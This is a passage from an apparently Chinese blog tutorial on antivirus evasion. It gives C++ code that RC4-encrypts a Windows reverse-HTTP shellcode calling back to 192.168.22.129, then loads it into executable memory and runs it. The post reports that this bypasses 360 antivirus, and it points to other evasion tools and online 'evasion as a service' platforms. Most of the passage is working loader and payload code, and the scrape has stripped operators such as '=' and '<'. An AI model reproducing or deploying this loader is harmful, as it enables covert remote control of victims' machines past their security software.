using namespace std; unsigned char T[256] { 0 }; int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len) { int i 0, j 0; unsigned char t[256] { 0 }; unsigned char tmp 0; for (i 0; i 256; i) { s[i] i; t[i] key[i % Len]; } for (i 0; i 256; i) { j (j s[i] t[i]) % 256; tmp s[i]; s[i] s[j]; s[j] tmp; } for (int i 0; i 256; i) { T[i] s[i]; cout 0x hex (int)T[i] ,; } cout endl; return 0; } int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len) { int i 0, j 0, t 0; unsigned char tmp; for (int k 0; k Len; k) { i (i 1) % 256; j (j s[i]) % 256; tmp s[i]; s[i] s[j]; s[j] tmp; t (s[i] s[j]) % 256; buf[k] ^ s[t]; } return 0; } unsigned int main() { char key[] reverse; unsigned char buf[] \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x43\x77\x61\x41\x00\xb0\x4b\x97\x53\xcf\x31\xd7\x69\x69\xf2\xfa\x99\x79\x92\xf1\x5b\x70\x26\xa5\x61\x6f\x07\x57\xbe\xef\x45\xba\x25\x41\x01\x50\xae\xcb\xb3\xe5\x83\x50\x5e\x14\x43\x5e\x60\x9e\x65\x7e\xd8\xe4\x67\x48\x9f\x68\x58\xe6\x75\xa3\x12\x3e\x95\xdf\xd3\x10\x0e\x39\x98\xbf\xe4\x22\xc5\x03\x8d\x6c\xfd\x00\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x4c\x43\x29\x0d\x0a\x00\x4c\x77\x99\xca\x62\x1a\xa8\x79\x56\xe6\x5c\xf8\x28\x17\xbc\xc7\x69\x94\x86\x8a\x18\x16\x5d\x31\x5a\x86\x85\x35\xbf\xfc\x76\x21\x5c\x5c\xc2\x93\x93\x96\x0a\x5b\x0a\xa9\x2f\x65\xf9\x38\x9b\x4b\x56\x1d\x35\xdd\x90\xbf\xc2\xdc\x12\x63\xd9\x63\x0e\x7a\xa0\xee\xd7\xcd\xeb\x79\xdd\xfc\x8f\x8d\x8d\x03\x84\x5b\x78\x72\xa9\x76\x05\x26\xc8\x97\x55\x3b\x09\xa0\x47\x7d\x72\x4c\x16\x5b\x1f\xc4\xba\x3a\x91\x86\x35\xee\xdf\xb5\x2a\x9b\x78\x1b\x48\xcd\x22\x16\x70\x42\x20\x2a\xe2\xdc\xa7\x55\xab\x55\x54\xe9\xec\x76\x05\x3a\xf0\x7a\x68\xba\x0d\x60\xd2\xf9\x33\x3e\x21\x6d\x00\x5c\x90\x6c\xd0\xa7\xc7\x16\x6e\xee\x71\x16\x12\xa5\xaa\x3b\x6f\x9f\xeb\xcb\x72\x5a\xae\xa5\xfc\x5b\x6a\x9b\xbb\x91\x71\x0c\xba\x36\xb8\x72\x2a\x3d\xbf\xe7\xe2\x43\xfc\x17\x1b\xf5\xde\x1e\x18\x2b\xf6\xe4\xa4\x4a\xc5\x60\x6a\x76\x80\xab\xfb\x8c\xc5\x01\x06\xb1\x05\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x2e\x31\x32\x39\x00\x3a\xde\x68\xb1; unsigned char s[256]; rc4_init(s, (unsigned char*)key, strlen(key)); for (size_t i 0; i sizeof(buf); i) { rc4_crypt(s, buf[i], sizeof(buf[i])); printf(\\x%02x, buf[i]); } LPVOID add VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(add, buf, sizeof(buf)); HANDLE handle CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0); WaitForSingleObject(handle, INFINITE); return 0; }然后点击调试再点击开始调试复制加密后的rc4值将加密得的rc4值复制替换代码中的shellcode#include stdio.h #include windows.h #include iostream using namespace std; unsigned char T[256] { 0 }; int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len) { int i 0, j 0; unsigned char t[256] { 0 }; unsigned char tmp 0; for (i 0; i 256; i) { s[i] i; t[i] key[i % Len]; } for (i 0; i 256; i) { j (j s[i] t[i]) % 256; tmp s[i]; s[i] s[j]; s[j] tmp; } for (int i 0; i 256; i) { T[i] s[i]; cout 0x hex (int)T[i] ,; } cout endl; return 0; } int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len) { int i 0, j 0, t 0; unsigned char tmp; for (int k 0; k Len; k) { i (i 1) % 256; j (j s[i]) % 256; tmp s[i]; s[i] s[j]; s[j] tmp; t (s[i] s[j]) % 256; buf[k] ^ s[t]; } return 0; } unsigned int main() { char key[] reverse; unsigned char buf[] \x78\x50\xd5\x12\xbf\x13\x2a\x4a\x23\xad\x72\x59\x13\x25\xfe\x4c\x1d\x5e\x12\xfe\x7b\x0c\x36\x60\x7b\x9b\x3f\x5a\x71\x0c\x8c\xe9\x4b\xdd\x8b\x59\xa1\x9a\x5a\xa0\xf4\x59\x53\xb0\x97\x1a\xe8\x0e\xf1\xc4\xd3\x6b\x7a\x48\x99\xe2\x6f\x10\x41\x11\xae\x26\xe8\xbf\x6d\xf0\x58\xe7\x29\xca\xcf\x5a\x43\x37\x5f\x2f\x98\xf7\xff\x3c\xfb\x2d\x7e\x60\xff\xe0\xbc\x1f\xf6\x3f\xf4\x63\x20\x5d\x46\x5a\xa6\x6a\x62\x8a\xb5\xad\xee\xe0\x5a\x89\x5a\x26\x03\xd1\x64\x89\x0e\x49\x89\x5a\x1e\x03\xd1\x89\x06\x89\x03\xd2\x8b\x46\x26\x26\x59\x59\x63\x5b\x58\x53\xfd\xe2\x5a\x5d\x58\x89\x10\xe9\x84\x5f\x6a\x6c\x67\x76\x02\x6a\x75\x6b\x6c\x6b\x56\x6a\x4e\x75\x24\x05\xfd\xd7\x33\xfd\x55\x55\x55\x55\x55\x6a\x38\x54\x7b\xa5\xfd\xd7\xeb\x86\x02\x02\x02\x59\x33\xcb\x53\x53\x68\x01\x53\x53\x6a\x52\x02\x02\x02\x51\x52\x6a\x55\x8b\x9d\xc4\xfd\xd7\xe9\x72\x59\x33\xd0\x50\x6a\x02\x00\x42\x86\x50\x50\x50\x51\x50\x52\x6a\xe9\x57\x2c\x39\xfd\xd7\x8b\xc4\x81\xc1\x52\x33\xfd\x55\x55\x68\xfd\x51\x54\x6a\x2f\x04\x1a\x79\xfd\xd7\x87\xc2\x0d\x86\xc1\x03\x02\x02\x33\xfd\x87\xf4\x76\x06\x8b\xfb\xe9\x0b\x6a\xa8\xc7\xe0\x5f\xfd\xd7\x8b\xc3\x6a\x47\x23\x5c\x33\xfd\xd7\x33\xfd\x55\x68\x05\x53\x54\x52\x6a\xb5\x55\xe2\x09\xfd\xd7\xbd\x02\x2d\x02\x02\x3b\xc5\x76\xb5\x33\xfd\xeb\x93\x03\x02\x02\xeb\xcb\x03\x02\x02\xea\x89\xfd\xfd\xfd\x2d\x41\x75\x63\x43\x02\xb2\x49\x95\x51\xcd\x33\xd5\x6b\x6b\xf0\xf8\x9b\x7b\x90\xf3\x59\x72\x24\xa7\x63\x6d\x05\x55\xbc\xed\x47\xb8\x27\x43\x03\x52\xac\xc9\xb1\xe7\x81\x52\x5c\x16\x41\x5c\x62\x9c\x67\x7c\xda\xe6\x65\x4a\x9d\x6a\x5a\xe4\x77\xa1\x10\x3c\x97\xdd\xd1\x12\x0c\x3b\x9a\xbd\xe6\x20\xc7\x01\x8f\x6e\xff\x02\x02\x57\x71\x67\x70\x2f\x43\x65\x67\x6c\x76\x38\x22\x4f\x6d\x78\x6b\x6e\x6e\x63\x2d\x37\x2c\x32\x22\x2a\x61\x6d\x6f\x72\x63\x76\x6b\x60\x6e\x67\x39\x22\x4f\x51\x4b\x47\x22\x3b\x2c\x32\x39\x22\x55\x6b\x6c\x66\x6d\x75\x71\x22\x4c\x56\x22\x34\x2c\x33\x39\x22\x55\x6b\x6c\x34\x36\x39\x22\x7a\x34\x36\x39\x22\x56\x70\x6b\x66\x67\x6c\x76\x2d\x37\x2c\x32\x39\x22\x4f\x43\x4e\x41\x2b\x0f\x08\x02\x4e\x75\x9b\xc8\x60\x18\xaa\x7b\x54\xe4\x5e\xfa\x2a\x15\xbe\xc5\x6b\x96\x84\x88\x1a\x14\x5f\x33\x58\x84\x87\x37\xbd\xfe\x74\x23\x5e\x5e\xc0\x91\x91\x94\x08\x59\x08\xab\x2d\x67\xfb\x3a\x99\x49\x54\x1f\x37\xdf\x92\xbd\xc0\xde\x10\x61\xdb\x61\x0c\x78\xa2\xec\xd5\xcf\xe9\x7b\xdf\xfe\x8d\x8f\x8f\x01\x86\x59\x7a\x70\xab\x74\x07\x24\xca\x95\x57\x39\x0b\xa2\x45\x7f\x70\x4e\x14\x59\x1d\xc6\xb8\x38\x93\x84\x37\xec\xdd\xb7\x28\x99\x7a\x19\x4a\xcf\x20\x14\x72\x40\x22\x28\xe0\xde\xa5\x57\xa9\x57\x56\xeb\xee\x74\x07\x38\xf2\x78\x6a\xb8\x0f\x62\xd0\xfb\x31\x3c\x23\x6f\x02\x5e\x92\x6e\xd2\xa5\xc5\x14\x6c\xec\x73\x14\x10\xa7\xa8\x39\x6d\x9d\xe9\xc9\x70\x58\xac\xa7\xfe\x59\x68\x99\xb9\x93\x73\x0e\xb8\x34\xba\x70\x28\x3f\xbd\xe5\xe0\x41\xfe\x15\x19\xf7\xdc\x1c\x1a\x29\xf4\xe6\xa6\x48\xc7\x62\x68\x74\x82\xa9\xf9\x8e\xc7\x03\x04\xb3\x07\x02\x6a\xf2\xb7\xa0\x54\xfd\xd7\x68\x42\x6a\x02\x12\x02\x02\x6a\x02\x02\x42\x02\x55\x6a\x5a\xa6\x51\xe7\xfd\xd7\x91\xbb\x02\x02\x02\x02\x03\xdb\x53\x51\x8b\xe5\x55\x6a\x02\x22\x02\x02\x51\x54\x6a\x10\x94\x8b\xe0\xfd\xd7\x87\xc2\x76\xc4\x89\x05\x03\xc1\x87\xc2\x77\xe7\x5a\xc1\xea\xab\xff\xfd\xfd\x33\x3b\x30\x2c\x33\x34\x3a\x2c\x30\x30\x2c\x33\x30\x3b\x02\x38\xdc\x6a\xb3\x02; unsigned char s[256]; rc4_init(s, (unsigned char*)key, strlen(key)); for (size_t i 0; i sizeof(buf); i) { rc4_crypt(s, buf[i], sizeof(buf[i])); printf(\\x%02x, buf[i]); } LPVOID add VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(add, buf, sizeof(buf)); HANDLE handle CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0); WaitForSingleObject(handle, INFINITE); return 0; }生成解决方案将得到的exe文件分别拖进两个win10中进行测试火绒直接就杀了360则成功上线3.2.4 其他免杀工具的使用牛屎花C2工具的使用按如下操作界面生成payload并下载下来上传至目标机进行测试即可在线平台潮影在线免杀平台掩日-Evasion as a Service根据提示就能操作免杀效果很好。本人学习笔记如有误请博友指出。本文全部内容均在本地搭建靶场进行若需复现请自行搭建靶场操作遵守网络安全法规